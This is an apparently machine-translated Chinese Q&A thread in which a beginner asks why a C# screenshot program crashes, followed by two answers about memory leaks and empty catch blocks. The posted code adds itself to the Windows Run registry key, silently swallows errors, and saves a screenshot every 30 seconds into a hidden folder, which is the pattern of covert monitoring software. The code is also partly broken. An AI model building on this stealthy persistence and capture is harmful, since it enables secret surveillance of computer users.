我多次调试了我的c#代码并查看了结果以修复我的代码。我已经修复了每一个错误,直到没有错误为止。我建立了我的程序,但是当我开始它时,它只是坐在那里一分钟然后崩溃了。我不知道我的代码有什么问题。有人可以帮助我吗?
我使用的是Visual Studio 2017.此外,我的程序应该每隔30秒拍摄一次屏幕截图,然后将它们保存到C驱动器上名为SysApp的文件夹中。
(PS如果我的问题出现问题,请告诉我,以便我可以在你投票之前解决它。我对此非常陌生并且不想丢失我的帐户。谢谢!)< / p>
代码:
using System;
using System.Threading;
using System.Reflection;
using System.IO;
using System.Windows;
namespace SysApp
{
static class Program
{
static void Main()
{
try
{
Microsoft.Win32.RegistryKey key = Microsoft.Win32.Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
Assembly curAssembly = Assembly.GetExecutingAssembly();
key.SetValue(curAssembly.GetName().Name, curAssembly.Location);
Console.WriteLine(curAssembly.GetName());
}
catch { }
int n = 0;
while (n == 0)
{
Thread.Sleep(30000);
OnTimedEvent();
}
}
public static string st = "";
public static string date = "";
public static string month = "";
public static string year = "";
public static string time = "";
public static string hour = "";
public static string min = "";
public static string sec = "";
private static void OnTimedEvent()
{
st = DateTime.Today.Date.ToString();
time = DateTime.Now.TimeOfDay.ToString();
hour = DateTime.Now.Hour.ToString();
min = DateTime.Now.Minute.ToString();
sec = DateTime.Now.Second.ToString();
date = DateTime.Today.Day.ToString();
month = DateTime.Today.Month.ToString();
year = DateTime.Today.Year.ToString();
Console.WriteLine("The Elapsed event was raised at {0}_{1}_{2} at time {3}_{4}_{5} ", date, month, year, hour, min, sec);
Bitmap memoryImage;
memoryImage = new Bitmap(1000, 800);
Size s = new Size(memoryImage.Width, memoryImage.Height);
Graphics memoryGraphics = Graphics.FromImage(memoryImage);
memoryGraphics.CopyFromScreen(0, 0, 0, 0, s);
string str = "";
if (Directory.Exists("C:\\SysApp"))
{
Console.WriteLine("directory exits");
}
else
{
Directory.CreateDirectory("C:\\SysApp");
File.SetAttributes("C:\\SysApp", FileAttributes.Hidden);
Console.WriteLine("new directory created");
}
//---------------------------------------
str = string.Format("C:\\SysApp\\screen {0}_{1}.png", date + month + year, hour + min + sec);
try
{
memoryImage.Save(str);
}
catch (Exception er)
{
Console.WriteLine("Sorry, there was an error: " + er.Message);
}
}
}
internal class Bitmap
{
private int v1;
private int v2;
public Bitmap(int v1, int v2)
{
this.v1 = v1;
this.v2 = v2;
}
public double Width { get; internal set; }
public double Height { get; internal set; }
internal void Save(string str)
{
throw new NotImplementedException();
}
}
}
答案 0 :(得分:2)
存在内存泄漏,因为在循环的每次迭代后都不会释放Bitmap
和Graphics
。
在memoryImage.Save(str);
修复后添加以下内容:
memoryGraphics.Dispose();
memoryImage.Dispose();
答案 1 :(得分:1)
我的猜测是你的内存不足或其他资源如图形句柄。
我建议您使用JetBrains(https://www.jetbrains.com/dotmemory/)中的dotMemory运行您的应用程序,这将有助于您追踪问题。
另外正如其他人所说的那样,空的捕获声明也很危险。而是在那里添加一些调试日志代码来记录异常。